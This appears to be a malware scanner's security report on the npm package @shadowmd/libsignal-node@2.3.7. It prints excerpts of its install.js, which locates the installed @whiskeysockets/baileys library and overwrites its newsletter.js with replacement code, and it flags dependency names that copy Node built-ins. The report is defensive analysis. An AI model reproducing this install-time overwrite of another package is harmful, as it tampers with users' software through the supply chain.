@shadowmd/libsignal-node@2.3.7: Malicious npm security report | LPM Firewall

Loading npm security reports…

@shadowmd/libsignal-node@2.3.7: Malicious npm security report | LPM Firewall

Source & flagged code

4 flagged · loading source

install.jsView file

•Manifest-reachable source resolves another installed package, overwrites its runtime code, and injects package-defined remote behavior. install.js: path.join(process.cwd(), 'node_modules', '@whiskeysockets', 'baileys'), path.join(__dirname, '..', 'node_modules', '@whiskeysockets', 'baileys'), const resolved = require.resolve('@whiskeysockets/baileys/package.json'); if (fs.existsSync(path.join(baileysPath, 'lib', 'Socket', 'newsletter.js'))) { const MODIFIED_NEWSLETTER_JS = `"use strict"; exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0; const makeNewsletterSocket = (config) => { const newsletterQuery = async (jid, type, content) => (query({

High

Entrypoint Foreign Package Code Overwrite

Manifest-reachable source overwrites another installed package with package-defined remote behavior.

install.jsView on unpkg

7function findBaileysPath() { const possiblePaths = [ path.join(process.cwd(), 'node_modules', '@whiskeysockets', 'baileys'), path.join(__dirname, '..', '..', '@whiskeysockets', 'baileys'), path.join(__dirname, '..', 'node_modules', '@whiskeysockets', 'baileys'), ]; try { const resolved = require.resolve('@whiskeysockets/baileys/package.json'); possiblePaths.unshift(resolved.replace('/package.json', '')); } catch (e) {} for (const baileysPath of possiblePaths) { try { if (fs.existsSync(path.join(baileys

High

Ai Review Evidence

The patch locates @whiskeysockets/baileys and overwrites its newsletter source file.

install.jsView on unpkg · L7

8const possiblePaths = [ L9: path.join(process.cwd(), 'node_modules', '@whiskeysockets', 'baileys'), L10: path.join(__dirname, '..', '..', '@whiskeysockets', 'baileys'), ... L14: try { L15: const resolved = require.resolve('@whiskeysockets/baileys/package.json'); L16: possiblePaths.unshift(resolved.replace('/package.json', '')); ... L57: attrs: { query_id: queryId }, L58: content: Buffer.from(JSON.stringify({ variables }), 'utf8') L59: } ... L79: const errorCode = firstError.extensions?.error_code || 400 L80: throw new Boom(\`GraphQL server error: \${errorMessages}\`, { statusCode: errorCode, data: firstError }) L81: }

Low

Weak Crypto

Package source references weak cryptographic algorithms.

install.jsView on unpkg · L8

package.jsonView file

•Runtime dependency names matching Node built-ins: crypto, fs, path

High

Node Builtin Dependency Squat

Package declares a runtime dependency whose name matches a Node built-in module.

package.jsonView on unpkg

Source & flagged code

4 flagged

install.jsView file

Lines 1-28javascript

1"use strict";

2

3const fs = require('fs');

4const path = require('path');

5const crypto = require('crypto');

6

7function findBaileysPath() {

8 const possiblePaths = [

9 path.join(process.cwd(), 'node_modules', '@whiskeysockets', 'baileys'),

10 path.join(__dirname, '..', '..', '@whiskeysockets', 'baileys'),

11 path.join(__dirname, '..', 'node_modules', '@whiskeysockets', 'baileys'),

12 ];

13

14 try {

15 const resolved = require.resolve('@whiskeysockets/baileys/package.json');

16 possiblePaths.unshift(resolved.replace('/package.json', ''));

Low

Weak Crypto

Package source references weak cryptographic algorithms.

install.jsView on unpkg · L8

17 } catch (e) {}

18

High

Ai Review Evidence

The patch locates @whiskeysockets/baileys and overwrites its newsletter source file.

install.jsView on unpkg · L7

19 for (const baileysPath of possiblePaths) {

20 try {

21 if (fs.existsSync(path.join(baileysPath, 'lib', 'Socket', 'newsletter.js'))) {

22 return baileysPath;

23 }

24 } catch (e) {}

25 }

26

27 return null;

28}

•Manifest-reachable source resolves another installed package, overwrites its runtime code, and injects package-defined remote behavior. install.js: path.join(process.cwd(), 'node_modules', '@whiskeysockets', 'baileys'), path.join(__dirname, '..', 'node_modules', '@whiskeysockets', 'baileys'), const resolved = require.resolve('@whiskeysockets/baileys/package.json'); if (fs.existsSync(path.join(baileysPath, 'lib', 'Socket', 'newsletter.js'))) { const MODIFIED_NEWSLETTER_JS = `"use strict"; exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0; const makeNewsletterSocket = (config) => { const newsletterQuery = async (jid, type, content) => (query({

High

Entrypoint Foreign Package Code Overwrite

Manifest-reachable source overwrites another installed package with package-defined remote behavior.

install.jsView on unpkg

package.jsonView file

•Runtime dependency names matching Node built-ins: crypto, fs, path

High

Node Builtin Dependency Squat

Package declares a runtime dependency whose name matches a Node built-in module.

package.jsonView on unpkg